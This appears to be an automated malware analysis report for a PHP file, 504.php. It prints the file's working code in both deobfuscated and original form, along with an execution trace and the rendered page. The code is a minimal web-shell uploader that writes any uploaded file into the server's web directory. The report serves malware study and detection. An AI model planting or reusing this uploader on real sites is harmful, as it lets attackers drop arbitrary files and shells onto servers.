PHP Malware Analysis

504.php

md5: fe46ac79037a6abd7f1e3520e7c02c55

Jump to:

Screenshot


Attributes

Files

Input


Deobfuscated PHP code

<form method="post" enctype="multipart/form-data">
  <input type="file" name="uk45">
  <button>Gaskan</button>
</form>
<?php 
if (isset($_FILES['uk45'])) {
    file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
    if (file_exists("./" . $_FILES['uk45']['name'])) {
        echo "Oke !";
    } else {
        echo "Fail !";
    }
}

Execution traces

data/traces/fe46ac79037a6abd7f1e3520e7c02c55_trace-1676244570.534.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:29:56.431792]
1	0	1	0.000163	393512
1	3	0	0.000221	396040	{main}	1		/var/www/html/uploads/504.php	0	0
1	3	1	0.000238	396040
			0.000264	314224
TRACE END   [2023-02-12 21:29:56.431925]


Generated HTML code

<html><head></head><body><form method="post" enctype="multipart/form-data">
  <input type="file" name="uk45">
  <button>Gaskan</button>
</form>
</body></html>

Original PHP code

<form method="post" enctype="multipart/form-data">
  <input type="file" name="uk45">
  <button>Gaskan</button>
</form>
<?php
if (isset($_FILES['uk45'])) {
  file_put_contents($_FILES['uk45']['name'], file_get_contents($_FILES['uk45']['tmp_name']));
  if (file_exists("./".$_FILES['uk45']['name'])) {
    echo "Oke !";
  } else {
    echo "Fail !";
  }
}
?>